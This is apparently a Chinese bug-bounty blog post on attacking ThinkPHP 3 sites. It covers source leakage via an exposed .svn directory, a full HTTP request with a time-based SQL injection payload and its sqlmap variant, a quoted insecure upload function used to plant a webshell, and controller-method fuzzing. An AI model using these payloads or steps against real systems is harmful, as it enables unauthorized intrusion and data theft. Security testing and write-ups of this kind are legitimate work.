php网站渗透实战_实战讲解TP3框架下的渗透思路

第一次投稿,表哥们亲拍

1、 ThinkPHP

ThinkPHP是一个开源免费的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。同时遵循Apache2开源许可协议发布,意味着你可以免费使用ThinkPHP,甚至允许把你基于ThinkPHP开发的应用开源或商业产品发布/销售

ThinkPHP (TP) 算是国内主流的一个PHP框架,首先上手快,资料多,学习成本很低,而且也是我第一个接触的MVC框架。

TP主要分为以下几个版本: TP3 、 TP5 、 TP6

大可能出现漏洞的范围,或者说常见的漏洞(肯定不全,一般的思路):

TP3SQLi

TP5RCE

TP6任意文件操作

由于 TP 是个国内较为主流的框架,在SRC或者众测中经常遇到基于 TP的业务系统,那么接下来,我会以案例讲解我渗透 TP 的思路。

1.1 确定版本

对于确定版本信息,一般可以在xxx/index.php/index/ 任意字符

一般就会出现无法找到控制器的报错信息,就可以确定版本(如果没自定义错误页面的话)。

2、案例1- .SVN -> SQLi -> GetShell

2.1 .SVN

在挖掘某SRC时,直接一个登陆界面,简单查看url为: xxxx/index.php/Home/Login ,初步判定 TP 框架

随手加上 .SVN,403 ,稳了。 SVN 泄露,利用:https://github.com/admintony/svnExploit/ 把源码download下来:

某些关键字可能与SRC有关,因此隐去。

├── Application 应用目录(一般前后台两个应用)

│ ├── Admin

│ │ ├── Action 控制器 (重要)

│ │ ├── Common

│ │ ├── Conf

│ │ ├── Model

│ │ ├── View

│ │ └── index.html

│ ├── Common (公共配置文件)

│ ├── Home

│ │ ├── Action 控制器(重要)

│ │ ├── Common

│ │ ├── Conf

│ │ ├── Model

│ │ ├── View

│ │ └── index.html

│ └── Lib (库)

├── Public 公开资源,例如js,css,或者上传的image

│ ├── css

│ ├── font-awesome

│ └── js

├── ThinkPHP TP的程序,只要看到版本就ok

│ ├── Common

│ ├── Conf

│ ├── LICENSE.txt

│ ├── Lang

│ ├── Library

│ ├── Mode

│ ├── ThinkPHP.php

│ ├── Tpl

│ └── logo.png

├── Uploads 在该SRC中,上传存放此处

│ ├── Uploads

│ └── files

├── index.html

├── index.php 入口文件

其他没写出来的,不是不重要,是我一般不太看(大笑)。

2.2 SQLi

对于前台的话,我建议先看Home,因为这里的一般不需要登陆,没有鉴权。在这里因为没前台,因此我直接看登陆的方法

(有一些变量可能和SRC有关,就此用x代替)

很明显,x 存在SQLi

payload如下:

POST /Home/Login/checkLogin.html HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0

Content-Length: 152

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

Accept-Encoding: gzip

extension=xxx&x[0]=exp&x[1]==(select*from(select+sleep(5)union/**/select+1)a)&password=xxxx

当然sqlmap指定x是跑不出来的,需要对payload做些处理:

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0

Content-Length: 152

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

Accept-Encoding: gzip

extension=xxx&x[0]=exp&x[1]==(select from(*)a)&password=xxxx

ok,将一部分转换成*,sqlmap指定,就可以跑出来,盲注。

2.3 Getshell

TP 的代码审计,对于TP3的话,我的建议是先找敏感函数吧。因为不是专门代码审计的文章,我们SQLi有了,有个低权限的账号登陆成功。对于要传shell,首选上传漏洞

一般全局查找upload关键字:

在这里的时候就发现,Admin应用下存在上传点:

这里任意文件上传,已弃用,但是没删掉。黑人问号????

注意第三行代码:

class ManageAction extends BaseAction

BaseAction 一般为权限控制类(我偷偷看了BaseAction代码,偷笑),那么这个控制器里的方法必须要登陆才可以访问。

public function uploadPic()

{

if ($_FILES['pic']['error'] != 4) {

$image_name = time() . rand(1000, 9999) . "." . end(explode(".", $_FILES['pic']['name'])); //图片名称

move_uploaded_file($_FILES['pic']['tmp_name'], './Uploads/images/login_pic/' . $image_name); //上传图片

$data['pic_path'] = "/Uploads/images/login_pic/" . $image_name;

$data['title'] = $_POST['title'];

$data['addtime'] = time();

M("login_pic")->add($data);

$this->success("上传成功");

} else {

$this->error("上传失败");

}

}

注意这一句: $image_name = time() . rand(1000, 9999) . "." . end(explode(".", $_FILES['pic']['name'])); //图片名称 时间加随机数,可以爆破的,但是作为有代码有SQLi的咱们,并不需要那么复杂。

$data['title'] = $_POST['title'];

$data['addtime'] = time();

M("login_pic")->add($data);

他这里有将文件名路径插入数据库的操作,上传shell之后,直接去数据库查询即可。

Getshell:

当然这里还有个小问题,为了照顾新学习tp的童鞋,如何访问控制器里的方法:

一般是 xxxxx/index.php/应用名称/控制器名/方法名(没其他方法的话,默认index)

在这里就是:

xxx/index.php/Admin/Manage/loginPic 这个路径,当然,具体还是看tp是怎么配置的,一般是这样。

当然

在这里师傅们肯定会发现,这种情况会有新的fuzz情况产生。

3、案例2 Fuzz TP方法。

xxx/index.php/Admin/Manage/loginPic

如果后台某些控制器权限控制不严格,可能会有未授权的产生,在这里可以对 loginPic进行Fuzz。在挖掘某SRC时,就遇到这个情况,也是TP的框架,直接Fuzz方法(或者控制器名称都可):

这里没截到,当时fuzz出来一个upload控制器,然后就getshell咯

4、结尾

现在TP框架挺常见,在SRC中,TP3的版本尤为多见,相信各位老哥有各种各样的姿势。

我这就抛砖引玉一波。

以上案例均由我与@v1gle 协作完成,感谢!!!

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值